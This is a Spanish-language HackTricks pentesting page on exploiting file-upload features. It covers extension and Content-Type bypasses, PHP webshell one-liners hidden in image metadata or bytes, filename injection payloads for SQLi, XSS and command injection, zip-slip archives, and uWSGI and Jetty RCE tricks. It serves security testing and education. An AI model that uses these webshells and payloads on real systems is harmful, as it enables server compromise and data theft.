File Upload
PreviousLFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path DisclosureNextPDF Upload - XXE and CORS bypass
Last updated
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Si estás interesado en una carrera de hacking y hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).
Otras extensiones útiles:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Trabajando en PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
Si aplican, verifica las extensiones anteriores. También pruébalas usando algunas letras mayúsculas: pHp, .pHP5, .PhAr ...
Verifica agregando una extensión válida antes de la extensión de ejecución (usa también las extensiones anteriores):
file.png.php
file.png.Php5
Intenta agregar caracteres especiales al final. Podrías usar Burp para bruteforce todos los caracteres ascii y Unicode. (Ten en cuenta que también puedes intentar usar las extensiones mencionadas anteriormente)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
Intenta eludir las protecciones engañando al analizador de extensiones del lado del servidor con técnicas como duplicar la extensión o agregar datos basura (bytes nulos) entre extensiones. También puedes usar las extensiones anteriores para preparar una mejor carga.
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Agrega otra capa de extensiones a la verificación anterior:
file.png.jpg.php
file.php%00.png%00.jpg
Intenta poner la extensión exec antes de la extensión válida y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión _.php_, pero** no necesariamente terminando en .php** ejecutará código):
ej: file.php.png
Usando NTFS alternate data stream (ADS) en Windows. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un archivo vacío con la extensión prohibida en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre de archivo corto. El patrón “::$data” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para eludir más restricciones (por ejemplo, “file.asp::$data.”)
Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso se queda. AAA<--SNIP-->AAA.php
Elude las comprobaciones de Content-Type configurando el valor del header de Content-Type a: image/png, text/plain, application/octet-stream_
Lista de palabras de Content-Type: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
Elude la comprobación de magic number agregando al principio del archivo los bytes de una imagen real (confundir el comando file). O introduce el shell dentro de los metadatos:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\ o también podrías introducir la carga directamente en una imagen:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
Si se está agregando compresión a tu imagen, por ejemplo usando algunas bibliotecas estándar de PHP como PHP-GD, las técnicas anteriores no serán útiles. Sin embargo, podrías usar la técnica del chunk PLTE definida aquí para insertar algún texto que sobreviva a la compresión.
La página web también podría estar redimensionando la imagen, usando por ejemplo las funciones de PHP-GD imagecopyresized o imagecopyresampled. Sin embargo, podrías usar la técnica del chunk IDAT definida aquí para insertar algún texto que sobreviva a la compresión.
Otra técnica para hacer una carga que sobreviva a un redimensionamiento de imagen, usando la función de PHP-GD thumbnailImage. Sin embargo, podrías usar la técnica del chunk tEXt definida aquí para insertar algún texto que sobreviva a la compresión.
Encuentra una vulnerabilidad para renombrar el archivo ya subido (para cambiar la extensión).
Encuentra una vulnerabilidad de Inclusión de Archivos Locales para ejecutar el backdoor.
Posible divulgación de información:
Sube varias veces (y al mismo tiempo) el mismo archivo con el mismo nombre
Sube un archivo con el nombre de un archivo o carpeta que ya existe
Subiendo un archivo con “.”, “..”, o “…” como su nombre. Por ejemplo, en Apache en Windows, si la aplicación guarda los archivos subidos en el directorio “/www/uploads/”, el nombre de archivo “.” creará un archivo llamado “uploads” en el directorio “/www/”.
Sube un archivo que puede no ser eliminado fácilmente como “…:.jpg” en NTFS. (Windows)
Sube un archivo en Windows con caracteres inválidos como |<>*?” en su nombre. (Windows)
Sube un archivo en Windows usando nombres reservados (prohibidos) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
Intenta también subir un ejecutable (.exe) o un .html (menos sospechoso) que ejecutará código cuando sea accidentalmente abierto por la víctima.
Si estás intentando subir archivos a un servidor PHP, echa un vistazo al truco de .htaccess para ejecutar código. Si estás intentando subir archivos a un servidor ASP, echa un vistazo al truco de .config para ejecutar código.
Los archivos .phar son como los .jar para java, pero para php, y pueden ser usados como un archivo php (ejecutándolo con php, o incluyéndolo dentro de un script...)
La extensión .inc a veces se usa para archivos php que solo se utilizan para importar archivos, por lo que, en algún momento, alguien podría haber permitido que esta extensión se ejecute.
Si puedes subir un archivo XML en un servidor Jetty, puedes obtener RCE porque nuevos *.xml y *.war son procesados automáticamente. Así que, como se menciona en la siguiente imagen, ¡sube el archivo XML a $JETTY_BASE/webapps/ y espera el shell!
Para una exploración detallada de esta vulnerabilidad, consulta la investigación original: Explotación de RCE en uWSGI.
Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración .ini. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como @(filename), está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos desde la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración .ini.
Considera el siguiente ejemplo de un archivo uwsgi.ini dañino, mostrando varios esquemas:
La ejecución de la carga útil ocurre durante el análisis del archivo de configuración. Para que la configuración se active y se analice, el proceso de uWSGI debe reiniciarse (potencialmente después de un fallo o debido a un ataque de Denegación de Servicio) o el archivo debe configurarse para recargarse automáticamente. La función de recarga automática, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios.
Es crucial entender la naturaleza laxa del análisis del archivo de configuración de uWSGI. Específicamente, la carga útil discutida puede insertarse en un archivo binario (como una imagen o PDF), ampliando aún más el alcance de la explotación potencial.
En algunas ocasiones, puede encontrar que un servidor está utilizando wget para descargar archivos y puede indicar la URL. En estos casos, el código puede estar verificando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se descarguen archivos permitidos. Sin embargo, esta verificación puede ser eludida.
La longitud máxima de un nombre de archivo en linux es 255, sin embargo, wget trunca los nombres de archivo a 236 caracteres. Puede descargar un archivo llamado "A"*232+".php"+".gif", este nombre de archivo eludirá la verificación (ya que en este ejemplo ".gif" es una extensión válida) pero wget renombrará el archivo a "A"*232+".php".
Note que otra opción que puede estar pensando para eludir esta verificación es hacer que el servidor HTTP redirija a un archivo diferente, de modo que la URL inicial eludirá la verificación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto no funcionará a menos que wget se use con el parámetro --trust-server-names porque wget descargará la página redirigida con el nombre del archivo indicado en la URL original.
Upload Bypass es una herramienta poderosa diseñada para ayudar a los Pentesters y Cazadores de Bugs en la prueba de mecanismos de carga de archivos. Aprovecha varias técnicas de recompensas por errores para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.
Establezca filename en ../../../tmp/lol.png y trate de lograr un traversal de ruta
Establezca filename en sleep(10)-- -.jpg y puede que logre una inyección SQL
Establezca filename en <svg onload=alert(document.domain)> para lograr un XSS
Establezca filename en ; sleep 10; para probar alguna inyección de comandos (más trucos de inyección de comandos aquí)
Carga de archivos JS + XSS = explotación de Service Workers
Pruebe diferentes cargas útiles svg de https://github.com/allanlw/svg-cheatsheet****
Si puede indicar al servidor web que capture una imagen de una URL, podría intentar abusar de un SSRF. Si esta imagen va a ser guardada en algún sitio público, también podría indicar una URL de https://iplogger.org/invisible/ y robar información de cada visitante.
PDFs especialmente diseñados para XSS: La siguiente página presenta cómo inyectar datos PDF para obtener ejecución de JS. Si puede cargar PDFs, podría preparar un PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
Cargue el [eicar](https://secure.eicar.org/eicar.com.txt) contenido para verificar si el servidor tiene algún antivirus
Verifique si hay algún límite de tamaño al cargar archivos
Aquí hay una lista de las 10 principales cosas que puede lograr al cargar (de aquí):
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: XSS almacenado / SSRF / XXE
GIF: XSS almacenado / SSRF
CSV: inyección CSV
XML: XXE
AVI: LFI / SSRF
HTML / JS : inyección HTML / XSS / redirección abierta
PNG / JPEG: ataque de inundación de píxeles (DoS)
ZIP: RCE a través de LFI / DoS
PDF / PPTX: SSRF / XXE CIEGO
PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG: "\xff\xd8\xff"
Consulte https://en.wikipedia.org/wiki/List_of_file_signatures para otros tipos de archivos.
Si puede cargar un ZIP que se va a descomprimir dentro del servidor, puede hacer 2 cosas:
Cargue un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados:
La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de recorrido de directorios del formato de archivo ZIP pueden ser explotados. Esto permite a los atacantes eludir restricciones y escapar de directorios de carga seguros manipulando la funcionalidad de descompresión de la aplicación objetivo.
Un exploit automatizado para crear tales archivos está disponible en evilarc en GitHub. La utilidad se puede usar como se muestra:
Además, el truco de symlink con evilarc es una opción. Si el objetivo es apuntar a un archivo como /flag.txt, se debe crear un symlink a ese archivo en su sistema. Esto asegura que evilarc no encuentre errores durante su operación.
A continuación se muestra un ejemplo de código Python utilizado para crear un archivo zip malicioso:
Abusando de la compresión para el file spraying
Para más detalles consulta la publicación original en: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
Creando un Shell PHP: Se escribe código PHP para ejecutar comandos pasados a través de la variable $_REQUEST.
File Spraying y Creación de Archivos Comprimidos: Se crean múltiples archivos y se ensambla un archivo zip que contiene estos archivos.
Modificación con un Editor Hexadecimal o vi: Los nombres de los archivos dentro del zip se alteran usando vi o un editor hexadecimal, cambiando "xxA" a "../" para atravesar directorios.
Sube este contenido con una extensión de imagen para explotar la vulnerabilidad (ImageMagick , 7.0.1-1) (de la explotación)
Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones imagecopyresized e imagecopyresampled de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.
Una exploración detallada de esta técnica, incluyendo su metodología y aplicaciones potenciales, se proporciona en el siguiente artículo: "Encoding Web Shells in PNG IDAT chunks". Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
Más información en: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Los archivos políglota sirven como una herramienta única en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un GIFAR, un híbrido que funciona tanto como un GIF como un archivo RAR. Tales archivos no se limitan a esta combinación; combinaciones como GIF y JS o PPT y JS también son factibles.
La utilidad principal de los archivos políglota radica en su capacidad para eludir medidas de seguridad que filtran archivos según su tipo. La práctica común en varias aplicaciones implica permitir solo ciertos tipos de archivos para subir—como JPEG, GIF o DOC—para mitigar el riesgo que presentan formatos potencialmente dañinos (por ejemplo, archivos JS, PHP o Phar). Sin embargo, un políglota, al conformarse a los criterios estructurales de múltiples tipos de archivos, puede eludir sigilosamente estas restricciones.
A pesar de su adaptabilidad, los políglota enfrentan limitaciones. Por ejemplo, mientras un políglota podría encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su carga podría depender de las políticas de extensión de archivos de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un políglota puede no ser suficiente para garantizar su carga.
Más información en: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
